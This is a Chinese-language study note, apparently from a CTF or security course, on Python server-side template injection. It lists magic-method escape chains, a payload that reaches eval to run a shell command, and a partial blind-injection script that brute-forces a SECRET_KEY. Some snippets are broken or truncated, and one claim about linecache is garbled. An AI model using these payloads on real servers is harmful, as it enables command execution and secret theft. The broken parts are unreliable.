第五周1

SSTI
关于python中的 知识点:

  1. 漏洞分类

条件语句注入:攻击者在应用程序中的条件语句中注入模板代码,从而控制条件判断的分支,导致程序的逻辑错误。这种注入通常发生在基于条件语句的模板引擎,如 Django、Jinja2中。

命令执行注入:攻击者在应用程序中的命令执行语句中注入模板代码,从而执行任意系统命令,获取系统权限,对系统进行攻击等。这种注入通常发生在使用反序列化操作等动态执行代码的模板引擎中,如 FreeMarker、Velocity 等。

变量渲染注入:攻击者在应用程序中的变量渲染语句中注入模板代码,从而影响页面的输出,导致代码执行或信息泄漏等问题。这种注入通常发生在基于语法标签的模板引擎,如 Smarty 等中。

其他注入:SSTI 漏洞还有一些其他的注入方式,如在 URL、请求头、Cookie 等参数中注入模板代码,通过多重注入实现攻击等。

魔术方法
在一些模板引擎中,存在一些用于访问对象属性和方法的魔术方法,可利用这些魔术方法构造SSTI漏洞。
markdown 代码解读复制代码1. __class__:通过该魔术方法,攻击者可以获取目标对象的类名并进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
2. __bases__:该魔术方法返回目标对象所在类的所有父类的元组,
并且攻击者可以根据这些信息来构造恶意代码。

3. __subclasses__():该魔术方法返回目标对象的所有子类,
并且攻击者可以根据这些信息来构造恶意代码。

4. __globals__:该魔术方法返回当前作用域中的所有全局变量,
并且攻击者可以利用这些变量来执行恶意代码。

5. __import__():该魔术方法用于动态加载模块,
并且攻击者可以利用这个方法来执行任意代码。

  1. 对于os模块
    查看linecache中os模块

为什么需要查看 linecache 中的 os 模块?
在 Python 3 中,当对一个未导入的模块(如 os 模块)执行 eval() 函数时,linecache 模块会发出一个警告,可利用这个警告来读取敏感信息。

1
2
3
4
5
6
Payload:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}
获取第 59 个type的__init__.func_globals.values()[13]['eval']属性,然后使用 Python 的 eval() 函数来执行字符串 __import__(\"os\").popen(\"ls\").read()
__init__用来创建一个 Python 代码字符串所对应的函数对象,func_globals.values() 返回一个字典视图对象,包含了定义在该方法中的所有全局变量和函数。而 [13] 则是用来获取该字典视图中的第 13 个元素。由于这个方法中定义了一个名为 eval 的全局函数变量,因此该元素为 eval 函数本身。
在 Python 中,eval() 函数可以动态地解析并执行字符串作为 Python 代码进行计算。执行 os.popen("ls").read()命令,可获取当前目录下的所有文件列表

  1. WAF绕过
    盲注
    通过回显内容的真假爆破字符串
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    {%for char in (name="SECRET_KEY")%}

    {%else%}0
    {%endif%}
    {%endfor%}

    示例脚本
    import string
    import time
    import requests

    url = "https://ip:port/"
    s = string.printable

    def ssti(re):
    payload = """text={%for%20char%20in%20get_env(name="SECRET_KEY")%}{%if%20char%20is%20matching('str')%20%}1{%else%}0{%endif%}{%endfor%}""".replace("str", re)
    headers = {
    "Content-Type": "application/x-www-form-urlencoded"

    result = requests.post(url, data=payload, headers=headers, verify=False).text
    if "1" in result:
    print(re, result)
    return re
    return ""

    for i in s:
    time.sleep(0.5)